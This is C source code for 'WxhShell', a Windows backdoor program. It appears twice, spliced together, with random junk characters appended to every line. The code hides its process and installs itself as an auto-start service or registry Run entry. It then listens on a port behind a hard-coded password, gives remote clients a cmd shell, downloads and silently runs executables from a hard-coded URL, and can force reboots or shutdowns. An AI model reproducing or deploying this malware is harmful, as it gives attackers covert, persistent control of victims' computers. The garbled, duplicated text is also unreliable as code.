    if(Boot(SHUTDOWN)) }cI _$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4VV y~sd  
    else { zLVk7u{e  
    closesocket(wsh); :}fIu?hCA  
    ExitThread(0); DYL\=ya1  
    } &vS@-K  
    break; ;8<lgZ9H<  
    } Kdd5ysTQ  
  // 获取shell #TY[\$BHs  
  case 's': { ~`Rooh3m  
    CmdShell(wsh); Cv1CRmqq%  
    closesocket(wsh); _VAX~Y]  
    ExitThread(0); ltG|#(  
    break; k|_LF[*Z  
  } ^9*Jz{e  
  // 退出 ?rububDT{  
  case 'x': { nA XWbavY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @?<1~/sfL  
    CloseIt(wsh); 7.1FRxS  
    break; )m$i``*<  
    } C]%}L%,  
  // 离开 o_%gFV[q  
  case 'q': { 'tzN.p1O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G!m;J8#m(  
    closesocket(wsh); w,zgYX&  
    WSACleanup(); >W@3_{0  
    exit(1); F%e5j9X`  
    break; n%:&N   
        } ;"D I)hd z  
  } &<S]=\  
  } hvU\l`m  
$3 ~ /H"K  
  // 提示信息 !5h@uar  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I)cA:Ip  
} PsoW:t  
  } Z <vTr6?  
3gU*,K7  
  return; R//S(eU68\  
} /c-%+Xd  
nL-kBW Ed>  
// shell模块句柄 -&_;x&k /  
int CmdShell(SOCKET sock) +^@6{1  
{ 5NAB^&{Z<X  
STARTUPINFO si; Cr$8\{2OA7  
ZeroMemory(&si,sizeof(si)); c9N5c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WCZeY?_^c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sD`OHV:  
PROCESS_INFORMATION ProcessInfo; UG<`m]  
char cmdline[]="cmd"; S.A|(?x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! V;glx[  
  return 0; >>HC|  
} cu$i8$?t   
$79-)4;z4  
// 自身启动模式 t:.ZvA3  
int StartFromService(void) Z }Z]["q  
{ *f( e`3E  
typedef struct }=JuC+#~n  
{ -axV;+"b  
  DWORD ExitStatus; ?513A>U  
  DWORD PebBaseAddress; Cu +u'&U!  
  DWORD AffinityMask; M-+= t8  
  DWORD BasePriority; piKR*|F  
  ULONG UniqueProcessId; DANndXQLH  
  ULONG InheritedFromUniqueProcessId; 07tSXl5!  
}   PROCESS_BASIC_INFORMATION; b_j8g{/9  
t+Rt*yjO  
PROCNTQSIP NtQueryInformationProcess; dsUY[X-<6  
04cNi~@m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r:uW(<EP^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Di8;Tq  
2k3yf_N  
  HANDLE             hProcess; `SSUQ#@  
  PROCESS_BASIC_INFORMATION pbi; rCdf*;  
bv8GJ #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T hLR<\  
  if(NULL == hInst ) return 0; &24z`ZS[w6  
h9 &V   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nH^RQ'19  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F|t_&$Is?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d9sqO9Ud8  
8cyC\Rs  
  if (!NtQueryInformationProcess) return 0; 0ge^p O\Z  
d8Kxtg Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N`%f+eT(  
  if(!hProcess) return 0; ]w[T_4 l  
[e+$jsPl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pb-Ft =  
v<U +&D{  
  CloseHandle(hProcess); M~&X?/8  
nzK"eNDN.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3?R QPP  
if(hProcess==NULL) return 0; :},/ D*v  
wam- =3W  
HMODULE hMod; 86,$ I+  
char procName[255]; qEbzF#a-:  
unsigned long cbNeeded; hPHrq{YZ  
lm;G8IP`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ho:X.Z9A^  
Z'I0e9Jw  
  CloseHandle(hProcess); ]\t+zF>&Y  
f:-dw6a=s  
if(strstr(procName,"services")) return 1; // 以服务启动 \7Fkeo+  
c_r&)8  
  return 0; // 注册表启动 -'OO6mU  
} b|HH9\  
9k@`{+wmZ  
// 主模块 Qb;5:U/x  
int StartWxhshell(LPSTR lpCmdLine) `b{.K,  
{ yNb :zoT  
  SOCKET wsl; bu2'JIDR  
BOOL val=TRUE; 20t</lq.  
  int port=0; > WW5A py[  
  struct sockaddr_in door; wCb%{iowH  
<C'S#5,2  
  if(wscfg.ws_autoins) Install(); Ay Obaa5  
%Jpb&CEY  
port=atoi(lpCmdLine); =!`\=!y  
>5jHgs#  
if(port<=0) port=wscfg.ws_port; mJ%r2$/*  
]3E':JM@  
  WSADATA data; ;#$zHR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H?=D,  
7BX%z$_)A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e]+ [lq\p@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c[Mz#BWG  
  door.sin_family = AF_INET; (1vmtg.O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {mp;^/O`er  
  door.sin_port = htons(port); \JLiA>@@  
JqdNO:8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (pjmE7 `"P  
closesocket(wsl); afZPju"-  
return 1; IrRn@15,  
} adJoT-8P6  
2rw<]Ce  
  if(listen(wsl,2) == INVALID_SOCKET) { Wsr #YNhx|  
closesocket(wsl); W&>+~A  
return 1; pP'-}%  
} z^f-MgWG  
  Wxhshell(wsl); CDcs~PR@B  
  WSACleanup(); YJ5;a\QxN  
~%Ws"1  
return 0; uxto:6),P<  
3\,TI`^C  
} Xm`K@hJ@  
8<g_JW[%  
// 以NT服务方式启动 C%P"Ds=w0N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hfvs' .  
{ e;=G|E  
DWORD   status = 0; "z }bgy  
  DWORD   specificError = 0xfffffff; } V4"-;P  
azB~>#H~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oh:SH|=]#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dBG]J18  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qR_"aQ7s2  
  serviceStatus.dwWin32ExitCode     = 0; iR#jBqXD  
  serviceStatus.dwServiceSpecificExitCode = 0; f ( `.q  
  serviceStatus.dwCheckPoint       = 0; IBVP4&}x$  
  serviceStatus.dwWaitHint       = 0; <,0& Ox  
,Z%!38gGsu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5b B[o6+  
  if (hServiceStatusHandle==0) return; t:M({|m Y  
S$"A[  
status = GetLastError(); 7$GP#V1r/  
  if (status!=NO_ERROR) f|VP_o<  
{ CRWO R pP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )m[!HE`cZ  
    serviceStatus.dwCheckPoint       = 0; PyHE >C%  
    serviceStatus.dwWaitHint       = 0; Yb =8\<;  
    serviceStatus.dwWin32ExitCode     = status; ,)L.^<  
    serviceStatus.dwServiceSpecificExitCode = specificError; &TbnZnv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !wrl.A/P  
    return; Dz)bP{iq"  
  } oRu S_X  
i6m;2 UAa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U(./LrM05  
  serviceStatus.dwCheckPoint       = 0; kX1hcAa  
  serviceStatus.dwWaitHint       = 0; zMrZ[AU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zt` ,DM  
} wq]nz!  
9/s-|jD  
// 处理NT服务事件,比如:启动、停止 Y,m H ]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m Xw1%w[*  
{ 6!Isz1.re  
switch(fdwControl) n6o}$]H  
{ P6=|C;[  
case SERVICE_CONTROL_STOP: ;pB?8Z  
  serviceStatus.dwWin32ExitCode = 0; <1jiU%!w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _F3vC#  
  serviceStatus.dwCheckPoint   = 0; cRg$~rYd  
  serviceStatus.dwWaitHint     = 0; U |4% ydG  
  { sox 90o 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 98O z  
  } +vbNZqwz  
  return; HRw,D=  
case SERVICE_CONTROL_PAUSE: *smo{!0Gg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .HtDcGp  
  break; , zw  
case SERVICE_CONTROL_CONTINUE: R\+$^G}#6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |n &6z  
  break; i'EXylb  
case SERVICE_CONTROL_INTERROGATE: 5g&'n  
  break; a,tP.Xsl  
}; Y|lMa?\E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); be@MQ}6>  
} uuC/F_='B  
{jq-dL  
// 标准应用程序主函数 n+i}>3'A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H5aUZ=  
{ _88~uYG  
`H|g~7KD&  
// 获取操作系统版本 I%s/h4x^B[  
OsIsNt=GetOsVer(); QTyl=z7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ `ho+  
. }1!MK5  
  // 从命令行安装 BW*zj=N%  
  if(strpbrk(lpCmdLine,"iI")) Install(); }gn0bCJy  
<=`@`rm{  
  // 下载执行文件 F% |(pHk  
if(wscfg.ws_downexe) { kR_[p._  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PRUGUHY  
  WinExec(wscfg.ws_filenam,SW_HIDE); CRf^6k_;(  
} {M$8V~8D  
%q!nTG U~  
if(!OsIsNt) { @rdC/=Y[  
// 如果时win9x,隐藏进程并且设置为注册表启动 fAm2ls7c  
HideProc(); lk'RWy"pw  
StartWxhshell(lpCmdLine); $H 9xM  
} C/$IF M<  
else L@ay4,e.bz  
  if(StartFromService()) >pYgF =J  
  // 以服务方式启动 /za,&7sf  
  StartServiceCtrlDispatcher(DispatchTable); ]Lh\[@#1f  
else &KB{,:)?  
  // 普通方式启动 r9U1O@c  
  StartWxhshell(lpCmdLine); 9PBmBP ~  
a|>MueJ  
return 0; {%$=^XO  
} 93rE5eGs  
$pKS['J0  
G@;aqe[dB  
B?4\IXek  
=========================================== 4H:WpW*r  
-_}EQ9Q  
?\yo~=N^  
_`(g?  
a"zoDD/  
g$tW9 Q  
" BCj&z{5"7e  
 ?b0\[  
#include <stdio.h> %|I|Mc  
#include <string.h> Q9'p2@Z  
#include <windows.h> AjS5  
#include <winsock2.h> oMVwId f  
#include <winsvc.h> j{PX ~/  
#include <urlmon.h> :8ZxOwwv  
Y `{U45  
#pragma comment (lib, "Ws2_32.lib") (!b: gG  
#pragma comment (lib, "urlmon.lib") 6IX!9I\sT  
7-dwr?j7  
#define MAX_USER   100 // 最大客户端连接数 BAhC-;B#R  
#define BUF_SOCK   200 // sock buffer M Q6Y^,B  
#define KEY_BUFF   255 // 输入 buffer ,y>Na{@Y  
@K/I a!Lw  
#define REBOOT     0   // 重启 @.{  
#define SHUTDOWN   1   // 关机 A_.QHUjpx  
|); >wV"  
#define DEF_PORT   5000 // 监听端口 MXy{]o_H~  
aI<~+]  
#define REG_LEN     16   // 注册表键长度 1gE`_%?K  
#define SVC_LEN     80   // NT服务名长度 bm4W,  
1mX*0>  
// 从dll定义API 1 W0;YcT]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S|[UEU3FpB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GXfVjC31z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qkIU>b,B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $o/>wgQY-  
@2mP  
// wxhshell配置信息 9ZBF1sMg  
struct WSCFG { cC4T3]4l'  
  int ws_port;         // 监听端口 <%z/6I Af|  
  char ws_passstr[REG_LEN]; // 口令 dc05,Bz  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^6+x0[13  
  char ws_regname[REG_LEN]; // 注册表键名 3\{Sf /#  
  char ws_svcname[REG_LEN]; // 服务名 .*j+?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q-F9oZ*0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H[D/Sz5`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {UcIt LjY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b5DrwX{Ff  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &f*dFUM]I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0REWbcxd"  
4i,SiFKB  
}; zqh{=&Tjx  
kgz{m;R  
// default Wxhshell configuration mV,R0olF  
struct WSCFG wscfg={DEF_PORT, -e~U u  
    "xuhuanlingzhe", ju]]|  
    1, U3}R^W~eb  
    "Wxhshell", >|?T|  
    "Wxhshell", eEQ[^i  
            "WxhShell Service", !qlGt)G3  
    "Wrsky Windows CmdShell Service", S F>D:$a  
    "Please Input Your Password: ", .jp]S4~  
  1, X}(0y  
  "http://www.wrsky.com/wxhshell.exe", 9$&e~^&B  
  "Wxhshell.exe" ~t={ \,X\  
    }; NJ>p8P`_k  
~-5@- V  
// 消息定义模块 D,\=zX;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; prtxE&-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k`TJ<Dv;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (GG"'bYk  
char *msg_ws_ext="\n\rExit."; 2~V Im#  
char *msg_ws_end="\n\rQuit."; ZRB 0OH  
char *msg_ws_boot="\n\rReboot..."; Yys~p2  
char *msg_ws_poff="\n\rShutdown..."; }&DB5M  
char *msg_ws_down="\n\rSave to "; =[JN'|Q+  
sw|:Z(`  
char *msg_ws_err="\n\rErr!"; |a{]P=<q  
char *msg_ws_ok="\n\rOK!"; `fZD%o3l  
2HXKz7da  
char ExeFile[MAX_PATH]; d|]O<]CG_  
int nUser = 0; K;[%S  
HANDLE handles[MAX_USER]; AxlFU~E4  
int OsIsNt; [+g@@\X4  
,:4DN&<  
SERVICE_STATUS       serviceStatus; G%!\ p:w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vo(NB !x$  
|QLX..  
// 函数声明 aMQjoamz  
int Install(void); P/Kit?kngS  
int Uninstall(void); 0j(jJAE.  
int DownloadFile(char *sURL, SOCKET wsh); .dT;T%3fO  
int Boot(int flag); S2E HmE&  
void HideProc(void); _-]!;0E IV  
int GetOsVer(void); YM`pNtQ  
int Wxhshell(SOCKET wsl);  p &>A5  
void TalkWithClient(void *cs); V<4+g/  
int CmdShell(SOCKET sock); i ,pN1_-  
int StartFromService(void); O[)]dD&'  
int StartWxhshell(LPSTR lpCmdLine); PgLS\_B  
j yRSEk$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =nx:GT3&[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -'[(Uzj  
Wi[m`#  
// 数据结构和表定义 :z.Y$]F@  
SERVICE_TABLE_ENTRY DispatchTable[] = _1<'"u#6w  
{ xs!g{~V{  
{wscfg.ws_svcname, NTServiceMain}, _]xt65TL  
{NULL, NULL} GrR0RwnH)?  
}; fu<2t$Cn>  
12sD|j  
// 自我安装 yW^IN8fm  
int Install(void) 2l@"p!ar=  
{ qzA]2'~Q  
  char svExeFile[MAX_PATH]; ;Q=GJ5`B  
  HKEY key; RP,:[}mPl  
  strcpy(svExeFile,ExeFile); 5!F\h'E  
ZBmXaP[9  
// 如果是win9x系统,修改注册表设为自启动 #RM3^]h  
if(!OsIsNt) { HNy/ -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x8?x/xE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 n+ e  
  RegCloseKey(key); {kPe#n>xT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q{cp|#m#G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3z)"U  
  RegCloseKey(key); LxlbD#<V  
  return 0; 7~"(+f  
    } J+b!6t}mZn  
  } KO"Jg-6r|  
} QW~5+c9JJ  
else { U2V^T'Y[  
g[s\~MF@s  
// 如果是NT以上系统,安装为系统服务 Z-SwJtWk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *SkiFEoD  
if (schSCManager!=0) j\'+wVyo  
{ p x|>v8  
  SC_HANDLE schService = CreateService g T XW2S  
  ( +K;Y+ K&;2  
  schSCManager, X#DL/#z k  
  wscfg.ws_svcname, ')5L_$  
  wscfg.ws_svcdisp, J4G> E.8  
  SERVICE_ALL_ACCESS, px _s@>l`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~J1;tZS  
  SERVICE_AUTO_START, Kr/h`RM  
  SERVICE_ERROR_NORMAL, N(:nF5>_  
  svExeFile, 4e@&QOo`Cu  
  NULL, H+VO.s.a  
  NULL, 8Y\OCwO  
  NULL, C NfJ:e2  
  NULL, [Iw>|q<e  
  NULL @1v3-n=  
  ); >wKu6- ]a  
  if (schService!=0) g={]Mzh  
  { p9AZ9xr  
  CloseServiceHandle(schService); 3+(yI 4  
  CloseServiceHandle(schSCManager); T2DF'f3A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M!Z*QY."P  
  strcat(svExeFile,wscfg.ws_svcname); "Su b4F`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E+}GxFG-:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); djsz!$  
  RegCloseKey(key); C}mYt/  
  return 0; E3S%s  
    } ZD5I5  
  } #%? FM>  
  CloseServiceHandle(schSCManager); #)^^_  
} ]8$#qDS@  
} rH$eB/#F  
=[]x\&@t  
return 1; 1l/AKI(!  
} URYZV8=B~  
q.=^i z&m  
// 自我卸载 =oE_.ux\  
int Uninstall(void) 5LQk8NPh  
{ JFkN=YR8  
  HKEY key; WI1T?.Gc   
:7p9t.R<$h  
if(!OsIsNt) { UrO=!Gk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [D3+cDph  
  RegDeleteValue(key,wscfg.ws_regname); SU%mmw ES3  
  RegCloseKey(key); #V.ZdLo(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PXw| L  
  RegDeleteValue(key,wscfg.ws_regname); [ rQMD^:M$  
  RegCloseKey(key); }#yU'#|d  
  return 0; C=N! z  
  } ^Xs%.`Gv/  
} "^;#f+0  
} H LjvKE=W  
else { $!!R:Wn/R  
\U/v;Ijf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _*s~`jn{H  
if (schSCManager!=0) }@Xh xZu  
{ 9s! 2 wwh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sYGR-:K  
  if (schService!=0) GI4?|@%vD!  
  { %'N$l F"]  
  if(DeleteService(schService)!=0) { WgE@89  
  CloseServiceHandle(schService); :qxm !P  
  CloseServiceHandle(schSCManager); glv ;C/l  
  return 0; k+FMZ, D|  
  } ^_@r.y]  
  CloseServiceHandle(schService); :'Zx{F`  
  } ?TDvCL  
  CloseServiceHandle(schSCManager); /K7Bae5h  
} H#OYw#L"u  
} J*5hf:?i  
14mf}"z\  
return 1; >K\3*]>J3  
} o&~dGG4J  
;;:">@5  
// 从指定url下载文件 |2O')3p"9  
int DownloadFile(char *sURL, SOCKET wsh) xcst<=  
{ Us'Cs+5XcG  
  HRESULT hr; 4S tjj!ew  
char seps[]= "/"; jh[ #p?:  
char *token; H"eS<eT  
char *file; 13H;p[$  
char myURL[MAX_PATH]; <PX.l%  
char myFILE[MAX_PATH]; z<!O!wX_aI  
>Iuzk1'S  
strcpy(myURL,sURL); {@3z\wMK$  
  token=strtok(myURL,seps); vd`O aM}#U  
  while(token!=NULL) PSPTL3_~  
  { /0(%(2jIWl  
    file=token; *ot> WVB  
  token=strtok(NULL,seps); FH.f- ZU  
  } 1I ""X]I_  
"# !D|[h0  
GetCurrentDirectory(MAX_PATH,myFILE); CphFv!k'Z  
strcat(myFILE, "\\"); P>(&glr|  
strcat(myFILE, file); _BbvhWN&+  
  send(wsh,myFILE,strlen(myFILE),0); n+2%tW  
send(wsh,"...",3,0); vDsF-u1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C8ZL*9U  
  if(hr==S_OK) OVZP x%a  
return 0; K*1.'9/  
else 9UV9h_.x  
return 1; U9 #w  
3f"C!l]Xu  
} :5J_5,?;`  
e?b)p5g  
// 系统电源模块 sf$o(^P9\A  
int Boot(int flag) M 7rIi\4K4  
{ l-<`m#/v  
  HANDLE hToken; eNbpwne  
  TOKEN_PRIVILEGES tkp; yI&9\fn  
\|.7-X  
  if(OsIsNt) { <`)iA-Df;9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wPX*%0]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `PgdJrE  
    tkp.PrivilegeCount = 1; V^TbP.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 j X3lq|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~Wei|,w'<  
if(flag==REBOOT) { DN_W.o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xh F _]  
  return 0; QTH7grB2v  
} `:p1&OS  
else { rOcg+5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y]Vq\]m\  
  return 0; BRzfic :e  
} 0J9D"3T)  
  } eVJ^\z:4  
  else { @}&_Dvf  
if(flag==REBOOT) { ml0*1Dw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z.1> kZ  
  return 0; 6@V~0DG  
} v7,$7@$:\  
else { 6~xBi(m`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d|lpec  
  return 0; =n+ \\D  
} eTbg7"waA  
} ,6{iT,~@8  
JeCg|@  
return 1; ]Y`Ib0$  
} Dd,2;#_  
5)UQWnd5  
// win9x进程隐藏模块 ;wHCj$q  
void HideProc(void) l1'6cLT`  
{ 3I  $>uR  
9t$]X>}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %%JMb=!%2  
  if ( hKernel != NULL ) R#W&ery  
  { ~b)74M/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zsx3/}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S6g<M5^R  
    FreeLibrary(hKernel);  }ptq )p  
  } a`!@+6yC  
^5; `-Ky  
return; 2VoKr)  
} _>yoX  
Uz dc  
// 获取操作系统版本 aG%, cQ1  
int GetOsVer(void) t9cl"F=  
{ =0    
  OSVERSIONINFO winfo; ~ G6"3"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k[kju%i4  
  GetVersionEx(&winfo); VIJ<``9[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }H"kU2l  
  return 1; \ck+GW4&  
  else rsXq- Pq*  
  return 0; Qk1xUE  
} ~*W!mlg  
<RNJ>>0  
// 客户端句柄模块 j+-P :xvP  
int Wxhshell(SOCKET wsl) $O)3 q $|  
{ ,yd=e}lQx  
  SOCKET wsh; _zWfI.o  
  struct sockaddr_in client; nh>K`+>co  
  DWORD myID; cV{o?3<:B  
F4L;BjnJ  
  while(nUser<MAX_USER) \Ae9\Jp8M  
{ YXo|~p;=Y  
  int nSize=sizeof(client); Z\}K{#   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T~_/Vi  
  if(wsh==INVALID_SOCKET) return 1; *%/~mSx  
^-z=`>SrS"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W ~f(::  
if(handles[nUser]==0) JM- t<.  
  closesocket(wsh); cWyW~Ek  
else `;l.MZL!  
  nUser++; .iX# A<E}  
  } ?>"Yr,b?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #~O b)q|  
={>Lrig:l  
  return 0; $37 g]ZD  
} : j }fC8'  
M-V&X&?j  
// 关闭 socket *^%Q0mU[  
void CloseIt(SOCKET wsh) I/gjenUK  
{  -!W<DJ*  
closesocket(wsh); 9}a_:hAy/  
nUser--; 3I\n_V<  
ExitThread(0); 7\FXz'hA  
} V-'K6mn;  
+l3=3  
// 客户端请求句柄 } :=Tm]S  
void TalkWithClient(void *cs) QTX8 L  
{ |waIpB(  
;2'q_Btk4  
  SOCKET wsh=(SOCKET)cs; b2b?hA'k  
  char pwd[SVC_LEN]; +6wiOHB`  
  char cmd[KEY_BUFF]; $`R6=\|  
char chr[1]; W @|6nPm  
int i,j; _4^R9Bt  
4vBL6!z:Z  
  while (nUser < MAX_USER) { ;q N+^;,2  
7qTE('zt  
if(wscfg.ws_passstr) { =] *.ZH#h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZaNQpH.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U- )i+}Ng  
  //ZeroMemory(pwd,KEY_BUFF); J{^RkGF  
      i=0; E4 m`  
  while(i<SVC_LEN) { ,|&9M^  
( =~&+z  
  // 设置超时 V3 ~~  
  fd_set FdRead; P ;IrBq6|o  
  struct timeval TimeOut; y WV#Up  
  FD_ZERO(&FdRead); AL>$HB$  
  FD_SET(wsh,&FdRead); Jgnhn>dHe  
  TimeOut.tv_sec=8; o sKKt?^?  
  TimeOut.tv_usec=0; a!O0,y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C z\Ppq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t%F0:SH  
)iFJz/n>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /cU<hApK  
  pwd=chr[0]; 0RoU}r@z4  
  if(chr[0]==0xd || chr[0]==0xa) { ^Q+g({  
  pwd=0; /0Ax*919j  
  break; c("_bOAT  
  } x?&$ci  
  i++; +TXX$)3%  
    } &x3VCsC\|  
9K1oZ?)_z  
  // 如果是非法用户,关闭 socket RjN{%YkXe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y*X_T,K 8  
} _%QhOY5tv"  
}iuWAFZbGS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !"Oh3 6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fkac_X$7  
o}ZdTf=  
while(1) { YpqrZWvh  
=ZqT3_  
  ZeroMemory(cmd,KEY_BUFF); G;YrF)\  
r?/'!!4  
      // 自动支持客户端 telnet标准   Fi0GknQ+  
  j=0; EY tQw(!Q  
  while(j<KEY_BUFF) { f k&8]tK4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^pUHKXihD  
  cmd[j]=chr[0]; >p"c>V& 8  
  if(chr[0]==0xa || chr[0]==0xd) { U*) 8G  
  cmd[j]=0; -,U3fts  
  break; aTt 12Sc  
  } '*3h!lW1.  
  j++; kBffF@{  
    } |j7,Mu+  
/FRm2m83  
  // 下载文件 T:; 2  
  if(strstr(cmd,"http://")) { , N)/w1?I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @H=:)* ;  
  if(DownloadFile(cmd,wsh)) x@ms  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /{&tY: ;m  
  else bD?VU<)3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -PfX0y9n  
  } 0.@&_XTPl  
  else { h-[VH%  
